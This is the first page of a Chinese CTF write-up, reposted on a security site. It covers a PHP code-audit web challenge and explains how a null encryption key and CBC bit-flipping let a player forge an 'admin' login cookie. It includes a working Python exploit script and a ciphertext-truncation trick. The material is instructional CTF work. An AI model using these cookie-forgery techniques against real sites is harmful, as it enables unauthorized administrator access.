欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

三个白帽之招聘又开始了,你怕了吗 writeup

来源:http://www.firesun.me/ 作者:火日攻天 时间:2016-06-27 TAG: 我要投稿

 ALICTF 2016,我负责了3道题web,Recruitment I, Recruitment II, homework, 其中Recruitment I,Recruitment II几乎没人做出,并且做出Recruitment II的队伍在第二步都使用了unintended的做法,所以我将这三题做了修改和简化,融合为这次三个白帽的挑战题,相似但是不相同。

挑战介绍

审计题,源码在/www.zip下,有waf,就是这么自信。什么,这个网站你见过?那我也不怕,网站升级了!

writeup

虽然是出题人,不过我们还是从做题的角度来分析这次的挑战。本次挑战为审计题,源码直接放出,简单粗暴。所以我们先来看看源码。

源码分析

通过阅读源码可以发现,登录后会将用户名加密存储在cookie中

setcookie("username", encrypt($result['username']));  
header("Location: index.php");  
exit();  

而如果cookie解密后是admin,就能访问到后台

if (!isset($_COOKIE['username']) || decrypt($_COOKIE['username']) !== "admin") {  
    die("You are not an administrator!");
}

而在后台存在一个备忘录,似乎包含着一些重要的信息

die('<div class="alert alert-danger">我就不给你看,你来打我啊</div>');  
//$result=query("select content from memo;")[0];
//echo $result["content"];

经过源码阅读,基本可以确定做题的思路,1、先伪造用户名admin;2、想办法注出memo表中的内容

伪造用户名

用户名是通过aes cbc加密存储在cookie中,而密码并没有出现在源码中,不过真的是这样吗?

$pass="密码怎么会告诉你";
function encrypt( $string ) {  
    $algorithm = 'rijndael-128';
    $key = md5($pass, true);
    $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
    $iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND );
    $encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv );
    $result = base64url_encode( $iv . $encrypted );
    return $result;
}

仔细阅读代码,似乎哪里有些不对,encrypt函数中的$pass真的有值吗?所以这一步最快的做法就是

echo encrypt("admin");  

其实encrypt函数中,$pass=NULL,原因是没有使用global声明,所以其实$key并没有因为我改了$pass而变化,不过这点确实是我出题中的失误,不过如果我并没有犯这个错误呢?我们得怎么做?

AES似乎没有办法破解,不过针对cbc的攻击就多了,比特反转,padding oracle等等,而这里,比特反转就符合要求,细节可以参考http://drops.wooyun.org/tips/4975, 原理就是通过控制IV来影响解密的明文,所以只要需要加密的字符串不超过一个分组长度(16字节),就能伪造出任意的字符串,这里我就直接引用Hcamael提交的writeup中的脚本,通过cbc比特反转来伪造admin用户的cookie

__author__ = "Hcamael"  
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests  
import hashlib  
import base64  
import re

def fuck_captcha(s):  
    for x in xrange(0, 10000000):
        y = hashlib.md5(str(x)).hexdigest()
        if y[:4] == s:
            return str(x)
    print "God personality.(%s)" %s
    exit(1)

url = "http://451bf8ea3268360ee.jie.sangebaimao.com/login.php"  
url2 = "http://451bf8ea3268360ee.jie.sangebaimao.com"

req = requests.get(url)

c = req.headers['Set-Cookie'].split(";")[0]  
c = c.split("=")  
cookie = {c[0]: c[1]}

cap = re.findall("=([a-f0-9]{4})", req.content)[0]  
captcha = fuck_captcha(cap)

data = {"username": "ddmin", "password": "ddog", "captcha": captcha}  
req = requests.post(url, data=data, cookies=cookie, allow_redirects=False)

c = req.headers['Set-Cookie']

user = c.split("=")[1]

u = user.replace("-", "+").replace("_", "/")  
u += "=" * (len(u) % 4)

de = base64.b64decode(u)  
de2 = chr(ord(de[0]) ^ ord('d') ^ ord('a')) + de[1:]

en = base64.b64encode(de2).replace("+", "-").replace("/", "_").replace("=", "")  
# cookie = {"username": en}
# req = requests.get(url, cookies=cookie)
print en  
# 输出的en为admin的cookie

不过似乎还是不够优雅,真的需要这么麻烦么?我们再来看一下cbc的加密流程。

IV与第一个分组异或,加密成第一个分组的密文,第一个分组的密文与第二个分组的明文异或,加密生成第二个分组的密文。也就是说对第二个分组而言,第一个分组的密文就是第二个分组的IV,所以说只拿着第一个分组和第二个分组的密文一样能解出第二个分组的明文。

因此,如果我们注册一个0123456789ABCDEFadmin的用户,将cookie用base64url解码就能得到48字节的IV和密文,去掉16字节的IV,将32字节的密文base64url编码,这样在解密的时候,第一个分组的密文就会充当IV,从而成功的解出第二个分组,即admin。

m=base64.urlsafe_b64decode("zlowaBbPzpaj0kFtZuFTL9Bt2S5ZJisvAK-xwj2I05e4jlaWeU9KGhLp8Gx7uYg1")  
print base64.urlsafe_b64encode(m[16:])  

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载